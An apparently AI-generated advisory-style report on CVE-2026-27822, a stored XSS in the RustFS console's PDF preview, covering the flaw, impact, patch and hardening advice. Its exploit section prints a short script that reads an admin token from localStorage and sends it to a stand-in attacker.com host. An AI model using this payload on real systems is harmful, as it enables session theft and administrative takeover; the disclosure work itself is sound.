CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-27822

RustFS & The PDF Trojan: Anatomy of a Critical Stored XSS

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 25, 2026·6 min read·204 visits

Executive Summary (TL;DR)

Critical Stored XSS in RustFS Console allowing full admin takeover via malicious PDF previews.

While the world rushes to rewrite everything in Rust to escape the nightmare of memory corruption, we are reminded that logic bugs and web vulnerabilities don't care about your borrow checker. CVE-2026-27822 is a critical Stored Cross-Site Scripting (XSS) vulnerability in the RustFS Management Console. By exploiting the PDF preview functionality, an attacker can turn a simple file upload into a weaponized payload that executes arbitrary JavaScript in the context of an administrator's session. This isn't just a pop-up alert; it's a full administrative account takeover via `localStorage` exfiltration, granting total control over the distributed object storage system.

The Hook: Rust Can't Save You From JavaScript

There is a certain irony in finding a critical vulnerability in a project named RustFS. The security community has spent the last decade evangelizing Rust as the silver bullet for memory safety—killing buffer overflows and use-after-free bugs by design. And they're right; Rust is fantastic at that. But RustFS isn't just a backend storage engine; it comes with a Management Console. And that console is built on the wild, untamed west of the web: HTML and JavaScript.

CVE-2026-27822 targets the RustFS Console, specifically the component responsible for previewing files. In a distributed object store, administrators often need to verify uploaded content. They click a file, a modal pops up, and they see a preview. It's a feature designed for convenience, but in this specific version range (< 1.0.0-alpha.83), it was implemented with a fatal trust in user input.

This vulnerability is a classic Stored Cross-Site Scripting (XSS) attack. The 'Stored' part makes it particularly dangerous. Unlike Reflected XSS, where you have to trick a user into clicking a weird link, Stored XSS lays a trap. The attacker places a landmine (the malicious file) in the storage system, and the victim (the admin) triggers it simply by doing their job—managing files. The moment the preview renders, the game is over.

The Flaw: The Preview Trap

The root cause of this vulnerability lies in how the RustFS Console handles the rendering of PDF files within its preview modal. When a user requests a preview, the application fetches the object data and attempts to display it. The flaw involves insufficient sanitization of the content before it interacts with the DOM (Document Object Model).

Browser-based PDF rendering is notoriously tricky. If an application blindly serves a file with Content-Type: application/pdf inside an iframe or uses a client-side library to parse and render it without strict boundaries, it opens the door to script execution. In this specific case, the preview logic allowed the execution of JavaScript embedded within the file structure or disguised as a PDF context.

Essentially, the developers locked the front door (authentication required to access the console) but left the window wide open (the preview renderer). They assumed that because a file claims to be a PDF, or is treated as a static asset, it is safe to render in the browser. This assumption is fatal. Modern browsers and PDF specs are complex beasts; if you don't explicitly tell the browser not to run scripts (via CSP or sandbox attributes), it often will, just to be 'helpful'.

The Exploit: Weaponizing the Document

Exploiting this requires a low-privilege account—anyone who can upload a file to the storage bucket. The attack chain is elegant in its simplicity and devastating in its impact.

Step 1: The Payload

The attacker crafts a malicious file. While the advisory specifically mentions PDF logic, XSS payloads in this context often involve Polyglots—files that are valid enough to be accepted by the storage engine but contain HTML/JS that the browser will execute when the content-type is mishandled or when the renderer is tricked.

// Conceptual Payload injected into the file
<script>
  const adminToken = localStorage.getItem('rustfs_auth_token');
  const creepUrl = 'https://attacker.com/collect?data=' + btoa(adminToken);
  fetch(creepUrl);
</script>

Step 2: The Trap

The attacker uploads this file to a bucket they have access to. They might name it Monthly_Financials.pdf or System_Logs_Error.pdf—something that practically begs an administrator to check it.

Step 3: The Execution

An administrator logs into the RustFS Console. They see the file. "That looks important," they think. They click the Preview button. The console opens a modal to display the file. Because the application fails to sanitize the input or sandbox the rendering frame, the browser parses the attacker's JavaScript.

At this moment, the script runs in the context of the administrator's session. It silently reads localStorage, grabs the JWT or session token, and sends it to the attacker's server. The admin sees a blank preview or a broken image; the attacker sees a new root shell.

The Impact: Total System Compromise

Why is this rated Critical (9.1)? Because in modern single-page applications (SPAs), localStorage is often where the "keys to the kingdom" are kept. RustFS stores administrator credentials and session tokens there.

Once an attacker has these tokens, they don't need to bypass a firewall or crack a password. They simply import the token into their own browser and become the administrator.

From there, the impact scales vertically:

  1. Data Exfiltration: The attacker can read every object in every bucket.
  2. Data Destruction: They can delete all backups, databases, and assets stored in the system.
  3. Ransomware: They can encrypt the data (download, encrypt, re-upload, delete original) and demand payment.
  4. Persistence: They can create new admin users for themselves to maintain access even if the original vulnerability is patched.

This is a "Game Over" scenario. The breach of the management console completely undermines the security of the underlying storage system.

The Fix: Closing the Window

The fix was released in version 1.0.0-alpha.83. If you are running any version prior to this, you are vulnerable. The remediation strategy is straightforward but urgent.

1. Patch Immediately

Update your RustFS instance to the latest version. The developers have patched the preview logic, likely by implementing strict output encoding, using a sandboxed iframe with the sandbox attribute (e.g., sandbox="allow-scripts" would be removed), or enforcing a strict Content Security Policy (CSP) on the preview modal.

# If using cargo to manage the binary
cargo install rustfs --version 1.0.0-alpha.83

2. Defense in Depth (Developer Takeaway)

For developers building similar systems, this is a lesson in defense in depth.

  • Never trust file content: Always serve user-uploaded content with Content-Disposition: attachment to force a download rather than a browser render, unless strictly necessary.
  • Sandbox Everything: If you must preview content, do it in an iframe with the sandbox attribute set to the absolute minimum permissions required.
  • Stop using LocalStorage for Secrets: Storing auth tokens in localStorage makes them accessible to any XSS payload. Use HttpOnly cookies, which are invisible to JavaScript, to mitigate the impact of XSS vulnerabilities.

Official Patches

RustFSGitHub Advisory and Patch Details

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

RustFS Management Console < 1.0.0-alpha.83

Affected Versions Detail

Product
Affected Versions
Fixed Version
rustfs
rustfs
< 1.0.0-alpha.831.0.0-alpha.83
AttributeDetail
CVE IDCVE-2026-27822
CVSS9.1 (Critical)
CWECWE-79 (Stored XSS)
Attack VectorNetwork (Stored File Upload)
ImpactAdmin Account Takeover
Affected ComponentPDF Preview Logic
EPSS Score0.00041

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability Disclosed
2026-02-25
Patch Released (v1.0.0-alpha.83)
2026-02-25
CVE Assigned
2026-02-25

References & Sources

  • [1]GHSA-v9fg-3cr2-277j
  • [2]NVD CVE-2026-27822

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-64670
9.3

CVE-2026-64670: Stored Cross-Site Scripting in @waline/client Comment Editor Preview

A stored cross-site scripting (XSS) vulnerability in @waline/client allows unauthenticated attackers to execute arbitrary JavaScript in the context of an administrator's browser session. The flaw exists because the client-side markdown preview renderer utilizes the marked library without HTML sanitization and injects the resulting output directly into the DOM via Vue's v-html directive. When an administrator opens the edit interface for a comment, the preview element is mounted and evaluated immediately due to the combination of watchImmediate and v-show, leading to automatic payload execution and administrative token compromise.

Amit Schendel
Amit Schendel
4 views•8 min read
•about 15 hours ago•CVE-2026-63304
8.1

CVE-2026-63304: OS Command Injection in WWBN AVideo via listFFmpegProcesses

WWBN AVideo versions through 29.0 contain an OS command injection vulnerability (CWE-78) in the standalone API utility function listFFmpegProcesses(). The function constructs a shell pipeline to monitor active FFmpeg processes by interpolating a user-controlled keyword parameter directly into a single-quoted grep argument without sanitization or shell escaping. An attacker capable of crafting or submitting a valid encrypted codeToExec payload can break out of the single-quoted argument context and execute arbitrary operating system commands with the privileges of the web server user.

Alon Barad
Alon Barad
5 views•9 min read
•about 16 hours ago•CVE-2026-59726
10.0

CVE-2026-59726: Unauthenticated Remote Code Execution in Ruflo MCP Bridge

Ruflo versions prior to 3.16.3 expose the Model Context Protocol (MCP) bridge HTTP endpoints (`POST /mcp` and `POST /mcp/:group`) on all network interfaces (`0.0.0.0:3001`) without authentication. Because the primary JSON-RPC tool dispatcher (`executeTool()`) bypasses existing tool blocklists, an unauthenticated network attacker can invoke the `terminal_execute` tool to achieve arbitrary command execution inside the bridge container. This initial access permits full exfiltration of third-party LLM provider API keys, unauthorized access to the co-located MongoDB instance, and manipulation of the AgentDB learning store.

Alon Barad
Alon Barad
11 views•2 min read
•about 17 hours ago•CVE-2026-59818
6.5

CVE-2026-59818: Improper Certificate Revocation List (CRL) Validation on Split gRPC Listeners in etcd

In etcd versions prior to 3.5.32 and 3.6.13, configuring the server with --listen-client-http-urls decouples HTTP and gRPC traffic onto distinct network listeners. Due to an implementation flaw in how TLS configurations are passed to the gRPC server instance, the Certificate Revocation List (CRL) defined by --client-crl-file is enforced exclusively on the HTTP listener and omitted entirely on the dedicated gRPC listener. This allows an adversary possessing a revoked, CA-signed client certificate to bypass mutual TLS (mTLS) revocation checks and authenticate directly to the gRPC interface.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 18 hours ago•CVE-2026-59831
4.4

CVE-2026-59831: Remote Code Execution via Unvalidated URL Scheme Handling in GitHub CLI

GitHub CLI (gh) versions 2.10.0 through 2.95.0 contain an input validation vulnerability in the `gh codespace jupyter` command path. When connecting to a remote Codespace to launch a JupyterLab session, the CLI retrieves a server URL via a remote procedure call (RPC) and passes it directly to the host operating system's default URL dispatcher without validating the scheme or target host. A compromised or malicious Codespace can return a custom protocol URI, such as `vscode://` or `vscode-insiders://`, allowing an attacker to invoke local desktop application handlers and achieve arbitrary command execution on the developer's workstation.

Alon Barad
Alon Barad
13 views•9 min read
•about 19 hours ago•CVE-2026-59191
6.9

CVE-2026-59191: Path Traversal and Arbitrary File Read in CakePHP TwigView FileLoader

A path traversal vulnerability exists in the cakephp/twig-view plugin for the CakePHP framework prior to versions 1.3.3 and 2.1.2. The Cake\TwigView\Twig\FileLoader::findTemplate() method verifies template existence using PHP's native file_exists() function without ensuring the target path resides within configured application or plugin template directories. When user-controlled input is passed to template inclusion mechanisms, an unauthenticated remote attacker can read arbitrary local files accessible to the PHP runtime.

Alon Barad
Alon Barad
6 views•9 min read